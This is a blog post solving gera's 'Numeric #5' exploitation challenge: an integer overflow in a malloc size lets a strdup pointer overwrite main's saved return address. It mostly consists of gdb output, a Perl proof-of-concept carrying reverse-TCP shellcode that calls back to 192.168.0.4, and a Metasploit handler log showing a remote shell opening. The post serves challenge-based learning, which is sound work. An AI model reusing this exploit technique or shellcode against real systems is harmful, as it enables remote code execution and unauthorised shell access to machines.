Sunday, May 20, 2012

Numeric #5

Here's my solution to gera's Numeric #5 with a few debugging printfs.

/* n5.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

#include <stdio.h>

int main(int argv, char **argc) {
        char **args,buf[80];
        unsigned int index,count;

        fscanf(stdin, "%u", &count);

        printf("count: 0x%x (%u)\n", count, count);

        printf("count*sizeof(char*): 0x%x (%u)\n", count*sizeof(char*), count*sizeof(char*));

        args = malloc(count*sizeof(char*));

        while (1) {
                fscanf(stdin,"%u %80s", &index, buf);

                printf("index: 0x%x (%u)\n", index, index);

                if (index<count) {
                        args[index] = strdup(buf);
                        printf("in if\n");
                }
                else break;
        }
}

count needs to be large for two reasons. The first one is so that the malloc allocation turns into a small integer and returns a valid memory address into args. and the second one is so that it will be larger than index in the later "if" statement. I settled on "-1073741824" to meet these needs.

(gdb) run < exp
Starting program: /home/dennis/n5/n5 < exp
count: 0xc0000000 (3221225472)
count*sizeof(char*): 0x0 (0)

With these conditions met, the pointer returned by strdup can be stored in all sorts of places such as main's saved eip on the stack.

index: 0x2dfed89f (771676319)

Breakpoint 1, main (argv=1, argc=0xbffffb24) at n5.c:25
25                              printf("in if\n");
(gdb) x/x (args + index)
0xbffffabc:     0x08049850
(gdb) x/x 0x08049850
0x8049850:      0xc9299090
(gdb) info frame
Stack level 0, frame at 0xbffffab8:
 eip = 0x80485ea in main (n5.c:25); saved eip 0x8049850
 called by frame at 0xbffffaf8
 source language c.
 Arglist at 0xbffffab8, args: argv=1, argc=0xbffffb24
 Locals at 0xbffffab8, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffffab8, eip at 0xbffffabc

Here is my proof of concept code.

#!/usr/bin/perl

use warnings;
use strict;

# linux/x86/shell/reverse_tcp, LHOST=192.168.0.4, bad chars "\x00\x0a\x0d\x0c", size 76
my $shellcode =
"\x29\xc9\x83\xe9\xf3\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" .
"\x0e\x8f\xb6\xc2\x39\x83\xee\xfc\xe2\xf4\xbe\x6d\x91\x7a" .
"\xdc\xdc\xc0\x53\xe9\xee\x4b\xd8\x42\x36\x55\x62\xe7\x76" .
"\x6a\x39\x8b\xd0\xaa\x28\xd3\xd0\x91\xb0\x6e\xdc\xa4\x61" .
"\xdf\xe7\x95\xb0\x6e\xf5\x0f\xb9\xd4\x2f\x74\x35\x3f\xb5" .
"\x0f\xb9\x70\x57\xc2\x39";

# buf is 80 bytes long - \n - \0
my $nops = "\x90" x (78-length($shellcode));

# malloc allocs 0 bytes, returns valid address
print "-1073741824" . "\n";

# x * 4 == bytes to main's saved eip
# (args + x) == bytes to main's saved eip
# saved eip is hardcoded to 0xbffffabc for simplicity
print "771676319 " . $nops . $shellcode . "\n";

# break out of loop
print "-1" . "\n";

And in action

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 3 opened (192.168.0.4:4444 -> 192.168.0.38:49415) at 2012-05-20 19:40:58 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/n5

As a side note, the fscanf function introduced 2 new badchars that required new shellcode generation.



No comments:

Post a Comment